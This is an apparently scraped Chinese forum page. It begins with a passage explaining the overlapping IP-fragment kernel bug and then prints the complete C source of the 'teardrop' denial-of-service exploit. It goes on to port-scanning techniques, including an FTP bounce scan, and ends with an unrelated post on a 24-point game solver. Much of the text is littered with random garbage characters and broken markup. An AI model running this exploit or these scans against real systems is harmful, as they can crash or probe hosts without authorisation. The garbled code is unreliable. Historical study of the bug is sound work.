这里只检查了长度过大的情况,而没有考虑长度过小的情况,
7 I: M0 V6 P6 u* ]" l) `如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:% B4 e' i+ Y8 X/ X7 [/ I# s) e4 [
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
  x: ]% [' e# Y; V, c是这样处理的:
2 V+ U" Z2 ~) |' ]8 c* Cif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)8 j5 X% x) K# G0 C5 B7 z. [
{/ S' ?+ s4 V$ ]" C
i = prev-&gt;end - offset;
, ]) C/ ?$ {! Y" D0 e' P4 r# ^offset += i; /* ptr into datagram */& l3 ~0 l3 b9 X$ _. k& J, R) g1 s. S
ptr += i; /* ptr into fragment data */
' W% S. L6 A4 w}</P><P>/* Fill in the structure. */, }5 P; K2 `0 r% B
fp-&gt;offset = offset;1 M( M- N' \1 Q( A9 u
fp-&gt;end = end;4 p: Y6 ~5 M8 z# B) E
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
0 g& Y% F/ x$ u. e- J7 b- r& n第一个碎片:mf=1 offset=0 payload=20
# _0 `2 Y; r" u/ _$ L7 G敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 " E% r  K6 a. j. A  E4 C
offset=0
7 s5 @5 n# S# z4 w7 A% j( d这样第二个碎片的 end=9+10=19
- e, ~5 r0 `" t5 D. Aoffset=offset+(20-offset)=20
  |2 W/ T) w. efp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>8 [9 ^6 r' Q0 b, T( G; p6 B" B
/*
& L# Y# i, o7 u4 i* w0 n6 F* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97- B0 S  X0 G9 ^$ X# q! J
*# ?1 q. e. l1 g, |/ G) y/ }1 x
* Linux/NT/95 Overlap frag bug exploit0 q$ ~3 Y, G! g- m
*" Z. b6 |- u8 ^8 G
* Exploits the overlapping IP fragment bug present in all Linux kernels and) u1 p# b* S4 X- c
* NT 4.0 / Windows 95 (others?)
" [% }7 L. @6 A0 _: X0 E; [*
% Q+ t, g3 ~% `7 t, G* Based off of: flip.c by klepto
. B8 k& m  j* V/ b) D0 z/ Z* Compiles on: Linux, *BSD*0 J6 f: q, h5 b3 R- x+ L
*$ p% a3 ?- t  ]6 z- i
* gcc -O2 teardrop.c -o teardrop
' ?4 w/ v; l4 d  P) X* OR
( M; K) D, K7 t% u: K9 u( l; j* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING4 k+ b) o% R+ T: O- B  R* ^
*/</P><P>#include <STDIO.H>
+ s6 {& m; Y$ ^6 H#include <STDLIB.H>2 s( s& l1 ^' J! G* o, H
#include <UNISTD.H>
) _1 D. |# V" y5 o#include <STRING.H>; r4 p! R) D( T1 w  d; I
#include <NETDB.H>
( S+ T. e, a; {+ x+ E( U% Y1 \#include <NETINET in.h>. Z; {5 O+ a5 `: F' ]
#include <NETINET udp.h>% u# r/ J" ?3 r* d" t" p' M1 l
#include <ARPA inet.h>! L0 v% ?+ Y3 Y5 W' W3 P$ F
#include <SYS types.h>
$ ?$ Y" i( S* s7 ^# t) ~#include <SYS time.h>
2 D  V( e# z/ y  \$ R3 \8 s5 s#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING8 H* d, Y& L4 T# ^" v# o
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */9 a: G% h* `- u1 n
#define FIX(n) (n)+ @# V- H: f4 j( l+ `
#else /* OpenBSD 2.1, all Linux */) P/ ]2 J4 u5 O/ G  z  S) A
#define FIX(n) htons(n)0 u' F; a  J# J8 z0 r& j: u: K  v# g
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
1 L2 r5 F  ]3 p3 @$ u#define IPH 0x14 /* IP header size */" S# o' O: i- w  C5 f! ~0 ~
#define UDPH 0x8 /* UDP header size */  i6 [% o4 Z# I. p, Z, e
#define PADDING 0x1c /* datagram frame padding for first packet */
. g  U2 ~' _0 N2 b#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
* R% q1 m# P3 G5 G& Y4 g#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can/ D# F1 e+ C+ p2 s# K4 N6 S" Q
* withstand maybe 5 or 10 sometimes... Experiment.
. A% m4 V, I/ s6 \*/</P><P>void usage(u_char *);/ A+ n# j1 P$ U( S! P8 b( A4 G- M  M
u_long name_resolve(u_char *);
; |. F* A5 X: F# ^5 E' R( vu_short in_cksum(u_short *, int);& f# q( ~: r3 q* l
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)5 [8 g$ r2 |4 ~2 a2 P) V
{
2 E; v( E2 j. C- \2 J2 Mint one = 1,
6 p# p" @8 V1 `- i9 Ucount = 0, 5 `& v5 l1 p' T* _8 n( j# D( C4 r- R, i
i, * t3 P! {' M4 g- t+ P% j
rip_sock;9 d( ]# }4 b& f5 ~/ W% R
u_long src_ip = 0, dst_ip = 0;0 u$ v+ @! n8 ]/ J9 c. G
u_short src_prt = 0, dst_prt = 0;
( z* P& _- s4 ?" l4 ]3 d; R' v  dstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
' s, t. \* w+ }& U7 Dif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)3 d2 M, A2 g* I( {& b  u
{
% Y; G$ t& {6 e4 T' o- Kperror("raw socket");8 @/ |/ x: ]6 i$ m+ }) U; @2 w; v
exit(1);4 E! Y) ^' }) E5 b" k
}  a  T, a0 z6 G
//由系统处理IP校验和。
3 v8 i2 [. X) b# uif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
+ U" V& V% I  N' R( G; f; n&lt; 0)- r3 |) ?! O/ r- b) B  U
{2 _) P/ U# Y; A% |( e# v6 y5 \& ^
perror("IP_HDRINCL");
7 [1 U0 W8 u1 C* y; _" s" m- ^exit(1);
* c. {% G6 ^- v2 d' z# Q' j}</P><P>if (argc &lt; 3) usage(argv[0]);
5 L8 X3 U0 t9 Z7 _8 Z! I& ], \( nif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
) c4 A( u6 H5 z. |8 o{1 x, x) }7 Y1 c2 S- }, E
fprintf(stderr, "What the hell kind of IP address is that?\n");- [1 ^1 R6 q/ U9 c( C( L
exit(1);* E3 z5 i3 V7 D' B/ y6 R8 ~0 y2 Q5 q
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
/ L* c% O) Q  k/ ]8 Q: ?9 R/ L9 x{  ^2 z( k. p) X; N* q
switch (i)  a$ e- z: M# n5 u
{
* c$ V5 ^8 o* Q7 p5 ^) Ucase 's': /* source port (should be emphemeral) */" z8 g% T% b7 O
src_prt = (u_short)atoi(optarg);1 H% I1 x4 f8 K! X
break;
/ g8 W4 W: E8 J8 W. Dcase 't': /* dest port (DNS, anyone?) */
5 L5 t4 Z' D! X9 Fdst_prt = (u_short)atoi(optarg);
! _. M5 U( g/ B/ c: Tbreak;
5 o% {- ?, j8 Z/ `0 h6 Qcase 'n': /* number to send */
& G& A0 h. l. P: N9 ?/ Y, M1 ?count = atoi(optarg);6 V; u* ?( s3 g8 Z3 ]0 m) B
break;5 s- D" s- g6 O9 S9 B- Q! i7 H4 ]
default :
/ b6 n" t" G' ~usage(argv[0]);4 n5 G9 z, ^, m) w" {
break; /* NOTREACHED */
! a! ^6 Y7 m/ H6 u/ z# V}
! F( c7 j- [9 Q) `8 ]& m( C; S5 n}</P><P>srandom((unsigned)(time((time_t)0)));  {3 G( W7 ^& A* F7 P
if (!src_prt) src_prt = (random() % 0xffff);: @! r; W: n( `% k5 Y/ P$ t4 V
if (!dst_prt) dst_prt = (random() % 0xffff);
0 q/ t$ t* o& W" D- W8 _- ^if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
: t$ A1 n6 Z! ]* d7 c% x* Paddr.s_addr = src_ip;  S; c. M9 v, h$ q
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);! N& f0 N/ z8 L3 ]% U. Y7 _5 t  n
addr.s_addr = dst_ip;! C/ U0 P, i4 ^& v
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);: s+ e/ P. W5 u
fprintf(stderr, " Amt: %5d\n", count);, ]4 }+ o, m' o
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
% |! t' W& `$ \. T2 A{
) d: G+ \7 \  [* V) q8 P. `send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
, D6 i! \4 x: T% E$ s, x; Yfprintf(stderr, "b00m ");
! t: K$ P* t& s# R& m7 Yusleep(500);
7 ?! ~/ Z3 F+ V}
3 c* U, w! b; @2 V" A6 xfprintf(stderr, "]\n");0 z. P. |6 Q! {: Z/ J
return (0);
/ S% Q- q' D: E8 |* i1 B! ?}</P><P>/*. x9 I' O1 G+ ]7 d8 D; J
* Send two IP fragments with pathological offsets. We use an implementation
! x. {0 x; }+ N/ h6 a* independent way of assembling network packets that does not rely on any of' }; d* t2 c# L8 ?2 g( z
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD)./ r, {% U; w3 F0 v
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
* r9 h" L( v- j/ {1 E; v2 R4 du_short dst_prt)
  c0 }+ e6 a* ^* v+ F" o0 O{' i9 L8 ?# m) K# B! u- j  E
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
; R1 d/ I% q# ^+ J( ^( \$ cu_char byte; /* a byte */! C, g) X& i5 A: \; b
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
( I3 K! w$ ^" i# K/ ^6 ?sin.sin_port = src_prt;
5 L9 d0 r# S0 [* bsin.sin_addr.s_addr = dst_ip;</P><P>/*! q, ~! a( E$ l" {& `& f, _( \, B
* Grab some memory for our packet, align p_ptr to point at the beginning# _5 Q' l* i4 e. I
* of our packet, and then fill it with zeros.
. E* \) g5 ?- C$ j- M*/
5 d! P% t2 _4 u2 ypacket = (u_char *)malloc(IPH + UDPH + PADDING);
) A; D4 U' m  c  d$ Jp_ptr = packet;
8 l5 m! d) d, u9 o2 _: e. kbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */. Z+ P9 u* H  {* p
memcpy(p_ptr, &amp;byte, sizeof(u_char));% v9 z, U6 `3 j4 T6 g  Y
p_ptr += 2; /* IP TOS (skipped) */. e% w) \7 Z- J( q/ C
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */$ u& O# W7 C  j3 _$ u- F0 Y
p_ptr += 2;; t0 n2 m. f0 J1 C2 }
*((u_short *)p_ptr) = htons(242); /* IP id */
& N2 {# c2 Z/ R. O# [p_ptr += 2;
# P4 z  P$ g5 D% U5 F*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
( P. V" |3 A4 s2 |( A1 x% Ap_ptr += 2;8 E) Y  \' q( _! [
*((u_short *)p_ptr) = 0x40; /* IP TTL */* b: x" @2 T  k0 H
byte = IPPROTO_UDP;3 P3 H! R! K; h; ?
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));2 e+ o0 |7 m7 M3 v) l
p_ptr += 4; /* IP checksum filled in by kernel */" O9 l5 E" `9 D0 K( w. S9 x% r2 [
*((u_long *)p_ptr) = src_ip; /* IP source address */
" j( _7 {+ h/ B; Pp_ptr += 4;
" H- k2 s# G5 E* Z0 u! G*((u_long *)p_ptr) = dst_ip; /* IP destination address */
% x# J% J1 G: Z6 G3 x9 sp_ptr += 4;
' s* ?9 ?$ W' k*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */7 R" x- W, T: y' M
p_ptr += 2;
; V( ~' g* D+ b2 v*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */$ i: I' r7 |0 a, e$ I
p_ptr += 2;
% k3 _0 w0 {/ R! Y7 a, {" G*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,9 X, n1 C! o1 c5 ?$ M
sizeof(struct sockaddr)) == -1)$ P2 `6 I( T5 ~2 E' Y
{$ v0 I5 ]; ]0 b- h) [5 F) u
perror("\nsendto");
4 D* R5 l: A. sfree(packet);
3 m# t; \0 R! D  Rexit(1);! K! Z8 k4 r6 ^4 G; t$ p' G
}</P><P>/* We set the fragment offset to be inside of the previous packet's
6 t/ z! a) U+ z* b& X2 ]* payload (it overlaps inside the previous packet) but do not include
* @' t3 K( \2 Y* enough payload to cover complete the datagram. Just the header will, l- h- p; n' W
* do, but to crash NT/95 machines, a bit larger of packet seems to work3 I1 U& T7 `" r, G
* better.5 ]. f' m2 V: L: n4 g5 k6 O
*/+ b* J. J& M: T$ l: N# S7 x
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */( v! \; l: F6 M, l8 f' `$ Y5 L) `& V
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);5 E6 Z0 r, u" f# H1 s
p_ptr += 4; /* IP offset is 6 bytes into the header */9 D" o7 o6 @: S2 i9 x* a4 N
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
% ?9 X/ w* |+ Dsizeof(struct sockaddr)) == -1)' B& l8 `% o- K( o, V1 i
{. a3 r7 F7 j0 s+ _6 g) m5 P0 v; B7 @
perror("\nsendto");* m3 y4 j. l9 M) W
free(packet);0 f+ N& f* Y8 j& o
exit(1);
8 D% x7 E9 m+ r% n/ R  H& ?}
0 w" z4 R, ]9 C0 [; Zfree(packet);4 h  Y3 S8 y  V6 M) l$ z9 R
}</P><P>u_long name_resolve(u_char *host_name)
2 \4 ~( l5 `8 _4 f- g{
; `' l- @2 a( U3 [1 ^struct in_addr addr;: P* |9 ?, G, z! h1 S1 L; G" }
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)7 U% C; k8 v5 c4 }
{
0 r7 q, g2 m; @if (!(host_ent = gethostbyname(host_name))) return (0);
6 n! O) r2 Y7 q- X' L2 Z4 mbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);8 k! E- P. ~$ b. l# z5 B8 L( p
}6 d# P6 p! }" U$ |* p
return (addr.s_addr);$ s3 M0 F. T% W
}</P><P>void usage(u_char *name)2 f9 }9 ]6 V, b8 P3 _0 ?
{
; f& Q+ o1 v' n5 R( _0 `' \/ Ffprintf(stderr,
) H% q" I& Y& w( p" v  Y$ Q"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
; Z6 n$ n6 H6 a+ U- dname);( w) c' Q3 y* R7 V1 n- I
exit(0);8 ?0 Z4 x3 |5 X* r8 S
}</P><P>% n% K5 M2 d* M) o5 J, E
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
0 H6 b5 X4 D* \- L/ d(1) Half-open(半打开)  @  @7 o0 T2 J# x! b+ a0 U$ P
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
: R! D% Q2 ?6 ?, Z如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner8 B$ t$ ~3 Z+ p$ X- M
利用了FTP的port命令,例如可以这样作:( a4 Z; k% r& g2 h3 H& V% S& R
选择一个FTP服务器,连上后令port命令指向目标机,如果返回7 F# y. _% P* e" m+ n# G
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
0 q7 Q+ l, L0 F该端口无服务。, R0 H" o- D% L9 q$ Z
telnet 192.168.1.13 21
$ [4 M" u) ~* F- m9 |Trying 192.168.1.13...
9 z/ A5 }, U8 Y; [+ I8 FConnected to pp.bricks.org.
: `9 p1 s  z( ~) G: a* z1 E* @  WEscape character is '^]'.: h% W4 c; h9 Q! _% _6 H9 `$ J
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
3 m/ |; l  b2 w" uThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
6 s8 g$ t5 U; b( J: C331 Guest login ok, send your complete e-mail address as password., p6 R9 u% O0 e+ W: I. S
pass aa@aa.aa
! e8 f  o4 O. W230 Guest login ok, access restrictions apply.
( V- R$ p1 |/ x: n4 _  D) y2 o0 fport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.* t: n( t# s2 }4 ?4 k% `: K1 v
425 Can't build data connection: Connection refused.
5 h+ F) L" r( @6 T' E4 f//该端口未活动 1 I* x7 L( B" Z  O; D: W5 O8 l+ i
150 Opening ASCII mode data connection for file list.) i+ S/ r  p7 s- k. u) f% {: d
226 Transfer complete.' ?6 n, T' Z! n6 o  T
//该端口活动中
# E0 t4 g1 k3 {3 L* X但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing, B3 M7 ]. \$ f; F% A+ A& N1 A
SYN|FIN ACK or SYN|ACK* RST5 o9 h7 w2 e5 X$ {
ACK Nothing RST4 Y& j& S/ \; {, {. Z
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport/ w! m! S  l4 l- q" w) h
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,8 X+ d' g+ n6 T- r
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
. Z  _& M% N" q6 F! v2 Y定它在向你做portscan。</P><P>notes:3 Z7 ~5 {* c  [+ d& s" [
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
# y9 v3 S3 }$ e. y  |  ?( u' U而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的5 |5 J* x7 v. a& U* [2 @" F3 v
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>! ?+ h2 ^3 R; }  ]
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。. j3 o7 i$ R5 ?4 ~
3 @5 M. p2 q7 v" @( O' L
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
3 d5 A4 T% }0 E/ p- G* b首先穷举的可行性问题。我把表达式如下分成三类——
8 d* h' {( |1 X) P9 n1 l<FONT color=#ff0000>1、 无括号的简单表达式。4 D6 P: f3 j& z; \9 G; ]) S- b
2、 有一个括号的简单表达式。( ~* \2 v$ V- S  [6 c( t
3、 有两个括号的较复4、 杂表达式。
4 u5 F& k1 c  h6 O</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:( s; T2 y: C( {+ t/ x& u
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
" O* c9 m, H% j. g: S/* c[] 存放四张牌的数组 */5 d! y2 s4 @* O  y0 ~
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
) h  {3 }- U, A用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */6 Y3 e3 e3 Q8 h: C. p, M* t
/* kans[] 暂存生成的排列组合 */
$ T) r7 n8 x$ f; X- R! C/* j 嵌套循环的次数 */5 d! i9 ?" U: T) t
int fans(c,k,ans,kans,j)& C; v: z, }, u7 o. B* O
int j,k[],c[];char ans[],kans[];' {' J9 U9 d$ T! \& L! P0 V
{ int i,p,q,r,h,flag,s[4],t[4][4];& `# j* c2 w1 T- ^$ Z% Z8 r7 i8 ?7 T8 J
for(p=0,q=0;p&lt;4;p++)
- ]9 Z2 j! a; K% a{ for(r=0,flag=0;r<J;R++)- ~" c8 n1 }2 ]6 e8 j5 [, t
if(k[p]!=kans[r]) flag++;; ~7 L" e6 a* k  n& b
if(flag==j) t[j][q++]=k[p];
% r* S3 m5 |5 _6 f7 `7 j}3 C! ?9 T, A3 J
for(s[j]=0;s[j]&lt;4-j;s[j]++)* S4 c$ ]; W- S" [; i6 q6 l* q
{ kans[j]=t[j][s[j]];; b9 H  q! {0 F# B# Q3 J
if(j==3) { for(h=0;h&lt;4;h++)
) g* U3 |& D4 f: g# `1 i4 n( A, tans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
1 v, s; M& Q8 [- h达式中的位置 */
+ v! m- T3 v  Q5 X4 hfor(h=0;h&lt;3;h++)
# p" z8 t) X; C1 ?symbol(ans,h); /* 在表达式中添加运算符号 */
6 i* Z% f5 g: G2 ^' ?! V}
( ]' P: J% o9 W3 S* welse { j++;7 P4 j8 s* G. {* g, e
fans(c,k,ans,kans,j);
) I: h4 F# j* E9 `9 u3 Q" pj--;2 _& t% e2 }8 B# e2 P
}& j5 a2 l* ]" D- A! l
}; W2 [) Z% i* K+ s
}</FONT>$ q0 h9 [! R. i9 S; r' o' s) A

& h! c0 f9 w: O, `3 o0 r  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:9 L! r9 m3 M- o2 Q! L

# s# H7 M3 J: ~# W<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/1 t6 p* I' w) l7 U
int sans(ans,sy,j,h). {- h) V) k5 i
char ans[],sy[];int j,h;
' N* M  I& Y9 S2 \4 R{ int i,p,k[3],m,n; char ktans[20];3 D( e! v+ m8 @7 Y
for(k[j]=0;k[j]&lt;4;k[j]++)
( u! |+ \7 E' H' u; G) g: y0 S  R{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位9 w6 h, _5 j! m: ^
这里的三个运算符号分别存放在1、3、5位*/
# d$ Y9 }3 E! s/ k) V. ]  N# Tif(j==2)6 N2 O- f  y) U0 ~* i3 p6 i. h5 Q
{ ans[5]=sy[k[j]];
! H4 a/ t3 i: B8 P! h; G/* 此处根据不同的表达式形式再进行相应的处理 */
8 E; A) r6 M4 |4 g! m2 z}) ~( F9 d( G' _) G& H
else { j++; sans(ans,sy,j--,h); }
5 t# y0 O8 Y+ a( t# `}$ ]2 f3 a  b6 A
}
. r4 k$ l0 T. ]6 d9 {7 L& p8 C' d" k+ j! l% B
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。- a7 u3 [/ Q! g5 Z: p% K
for(m=0;m&lt;=4;m+=2)
  ~' [+ H+ B0 j/ Pfor(n=m+4;n&lt;=8;n+=2)
* U' F8 |  q4 m% e+ ?  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。2 {) `' t" s/ d
; O' _" O9 h+ W5 N8 g) a" v/ o  z
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
$ N  q7 C7 \) d( w8 y</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。" ^: ^' j' _9 ~+ B
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。; n" V- p. b  X* E2 C# ]

+ |8 i8 a' l+ E1 P& D0 U; B  q  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。) s, e- ^  Z2 Z5 v$ Q/ v. i
5 v' l4 N. h. @+ g- H
  那么作为栈的著名应用,表达式的计算可以有两种方法。
/ h* ]* Q2 U1 P; s
8 M- W* u+ X' F. U3 H, F, `  <FONT color=#ff0000>第一种方法——</FONT>
- B& X3 `% r& u; C  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。' s! {; ?# ]" N& N6 m
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:9 [7 Z: t0 w3 b$ g
1、 若W为操作数
" a; J( a2 V# \. Q2、 则将W压入操作数栈OVS2 Q  N  n: l+ I0 V* A' r+ E7 x
3、 且继续扫描下一个字符6 x; {2 `/ a* [5 U  ]7 Z# ~- {+ W  q
4、 若W为运算符
# v3 n, F! `1 T0 t" o2 O+ {4 J5、 则根据运算符的性质做相应的处理:* M: n; K1 y- y5 i" `
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
5 n3 ?/ _" x- w, z5 p: f6 S9 `3 Y(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
: ]) j& k  ?8 u% B/ O8 ~8 g3 n1 a(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
% z: u) c/ t* O1 T2 o* w(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
% q% F1 o) D: r$ K# l# V8 d4 o9 q
" o8 S: L( b2 k, \) P0 k1 H& @5 K<FONT color=#ff0000>  第二种方法——</FONT>$ q8 Y: K1 _. S
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
  i( e3 N& ]. }+ K! {3 g; w
3 O" Y, w3 _4 [1 I  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。$ I$ R6 K8 D! `7 H4 [7 e: R- Q( ^
3 m  g& n; ~% W5 R( o( n
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
5 |; e" {! B8 X# F! p- u表达式 波兰表达式! a1 l3 G7 \: |& F1 n) W$ m& D! ^
A-B AB-
; d! S( H- I, H; Z5 {. ^2 M6 S(A-B)*C+D AB-C*D+
% F: ]6 Z. c* i& l+ s! ^' n' tA*(B+C/D)-E*F ABCD/+*EF*-
% O0 f/ A3 F. ^7 W4 _$ H% R' Z(B+C)/(A-D) BC+AD-/  `& s  r" p- [5 i* f1 j+ N; r5 p
  {4 L9 K) u+ V. |5 b! j2 D( s
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。' D" a3 a6 f# e4 N3 j* J
3 q6 r! ?: d8 r
